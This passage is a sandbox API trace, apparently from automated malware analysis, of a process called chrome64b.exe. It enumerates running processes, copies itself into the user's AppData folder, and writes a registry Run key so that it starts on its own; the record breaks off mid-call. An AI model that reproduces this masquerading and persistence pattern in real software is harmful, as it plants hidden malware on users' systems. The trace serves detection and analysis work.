cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0290.341] lstrlenW (lpString="lsass.exe") returned 9 [0290.341] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.342] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.342] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0290.343] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0290.343] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.343] lstrlenW (lpString="svchost.exe") returned 11 [0290.343] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.344] lstrlenW (lpString="svchost.exe") returned 11 [0290.344] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0290.345] lstrlenW (lpString="dwm.exe") returned 7 [0290.345] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.345] lstrlenW (lpString="svchost.exe") returned 11 [0290.345] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.346] lstrlenW (lpString="svchost.exe") returned 11 [0290.346] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.347] lstrlenW (lpString="svchost.exe") returned 11 [0290.347] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.348] lstrlenW (lpString="svchost.exe") returned 11 [0290.348] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.348] lstrlenW (lpString="svchost.exe") returned 11 [0290.348] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.349] lstrlenW (lpString="svchost.exe") returned 11 [0290.349] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.350] lstrlenW (lpString="svchost.exe") returned 11 [0290.350] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.350] lstrlenW (lpString="svchost.exe") returned 11 [0290.350] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.351] lstrlenW (lpString="svchost.exe") returned 11 [0290.351] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.351] lstrlenW (lpString="svchost.exe") returned 11 [0290.352] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0290.352] lstrlenW (lpString="spoolsv.exe") returned 11 [0290.352] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.352] lstrlenW (lpString="svchost.exe") returned 11 [0290.353] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0290.353] lstrlenW (lpString="audiodg.exe") returned 11 [0290.353] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0290.353] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0290.354] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0290.354] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0290.354] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0290.355] lstrlenW (lpString="Memory Compression") returned 18 [0290.355] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0290.355] lstrlenW (lpString="svchost.exe") returned 11 [0290.355] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0290.356] lstrlenW (lpString="sihost.exe") returned 10 [0290.356] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0290.357] lstrlenW (lpString="taskhostw.exe") returned 13 [0290.357] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0290.357] lstrlenW (lpString="msoia.exe") returned 9 [0290.357] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0290.358] lstrlenW (lpString="explorer.exe") returned 12 [0290.358] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0290.359] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0290.359] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0290.359] lstrlenW (lpString="SearchUI.exe") returned 12 [0290.359] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0290.360] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0290.360] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0290.361] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0290.361] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0290.361] lstrlenW (lpString="chrome64b.exe") returned 13 [0290.361] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.362] lstrlenW (lpString="dllhost.exe") returned 11 [0290.362] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0290.363] lstrlenW (lpString="dllhost.exe") returned 11 [0290.363] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0290.431] lstrlenW (lpString="chrome64b.exe") returned 13 [0290.431] Process32NextW (in: hSnapshot=0x238, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 0 [0290.436] CloseHandle (hObject=0x238) returned 1 [0290.436] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712918 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712768 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712e80 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x713220 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x713448 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7120d0 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x713100 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712fe0 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x7382a8 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x737fd8 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712ee0 | out: hHeap=0x700000) returned 1 [0290.437] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.437] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x73f890 [0290.437] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x74f898 [0290.438] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d928 [0290.438] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d928, Size=0x20) returned 0x7382a8 [0290.438] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7382a8, Size=0x40) returned 0x712960 [0290.438] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0290.438] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db08, Size=0x20) returned 0x738348 [0290.438] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db68 [0290.438] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db68, Size=0x20) returned 0x737fd8 [0290.438] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d988 [0290.438] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d988, Size=0x20) returned 0x738168 [0290.438] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738168, Size=0x40) returned 0x712a38 [0290.438] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x74f898, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe")) returned 0x21 [0290.438] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x75f8a0 [0290.438] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x76f8a8 [0290.439] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db98 [0290.439] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db98, Size=0x20) returned 0x738320 [0290.439] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738320, Size=0x40) returned 0x7126d8 [0290.439] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7126d8, Size=0x80) returned 0x73e0d0 [0290.439] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e0d0, Size=0x100) returned 0x73e0d0 [0290.439] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.439] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e0d0 | out: hHeap=0x700000) returned 1 [0290.439] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\chrome64b.exe", lpDst=0x75f8a0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\chrome64b.exe") returned 0x22 [0290.439] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76f8a8 | out: hHeap=0x700000) returned 1 [0290.439] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75f8a0 | out: hHeap=0x700000) returned 1 [0290.440] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x2447020 [0290.451] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0290.451] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db08, Size=0x20) returned 0x738118 [0290.451] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d988 [0290.451] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d988, Size=0x20) returned 0x738000 [0290.451] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.451] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.451] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0290.452] lstrlenW (lpString="kernel32.dll") returned 12 [0290.452] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738118 | out: hHeap=0x700000) returned 1 [0290.452] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.452] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.452] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0290.452] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0290.452] CloseHandle (hObject=0x238) returned 1 [0290.452] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d8e0 [0290.452] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d8e0, Size=0x20) returned 0x738168 [0290.452] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73da78 [0290.452] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da78, Size=0x20) returned 0x738078 [0290.452] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.452] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.452] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.452] lstrlenW (lpString="kernel32.dll") returned 12 [0290.453] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738078 | out: hHeap=0x700000) returned 1 [0290.453] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.453] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738168 | out: hHeap=0x700000) returned 1 [0290.453] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x2447020 | out: hHeap=0x700000) returned 1 [0290.455] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x75f8a0 [0290.456] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x76f8a8 [0290.456] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0290.456] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db08, Size=0x20) returned 0x738208 [0290.456] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738208, Size=0x40) returned 0x712d08 [0290.456] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712d08, Size=0x80) returned 0x73e0d0 [0290.456] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e0d0, Size=0x100) returned 0x73e0d0 [0290.456] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e0d0 | out: hHeap=0x700000) returned 1 [0290.456] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\chrome64b.exe", lpDst=0x75f8a0, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 0x2e [0290.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76f8a8 | out: hHeap=0x700000) returned 1 [0290.456] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75f8a0 | out: hHeap=0x700000) returned 1 [0290.459] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x244e020 [0290.462] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0290.462] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db08, Size=0x20) returned 0x738078 [0290.462] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d940 [0290.462] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d940, Size=0x20) returned 0x738000 [0290.462] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.463] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.463] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.463] lstrlenW (lpString="kernel32.dll") returned 12 [0290.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738078 | out: hHeap=0x700000) returned 1 [0290.463] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.463] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.463] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0290.463] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0290.463] ReadFile (in: hFile=0x238, lpBuffer=0x244e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x244e020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0290.583] WriteFile (in: hFile=0x23c, lpBuffer=0x244e020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x244e020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0290.588] ReadFile (in: hFile=0x238, lpBuffer=0x244e020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x244e020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0290.588] CloseHandle (hObject=0x23c) returned 1 [0290.588] CloseHandle (hObject=0x238) returned 1 [0290.588] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d8b0 [0290.589] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d8b0, Size=0x20) returned 0x738190 [0290.589] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db50 [0290.589] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db50, Size=0x20) returned 0x738258 [0290.589] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.589] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.589] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.589] lstrlenW (lpString="kernel32.dll") returned 12 [0290.589] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738258 | out: hHeap=0x700000) returned 1 [0290.589] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.589] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738190 | out: hHeap=0x700000) returned 1 [0290.589] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x244e020 | out: hHeap=0x700000) returned 1 [0290.596] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73dac0 [0290.596] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73dac0, Size=0x20) returned 0x7381b8 [0290.596] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7381b8, Size=0x40) returned 0x7128d0 [0290.596] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7128d0, Size=0x80) returned 0x73e0d0 [0290.596] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 45 [0290.596] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0290.596] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x5c) returned 0x73e550 [0290.596] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x238) returned 0x0 [0290.596] RegSetValueExW (in: hKey=0x238, lpValueName="chrome64b.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe", cbData=0x5a | out: 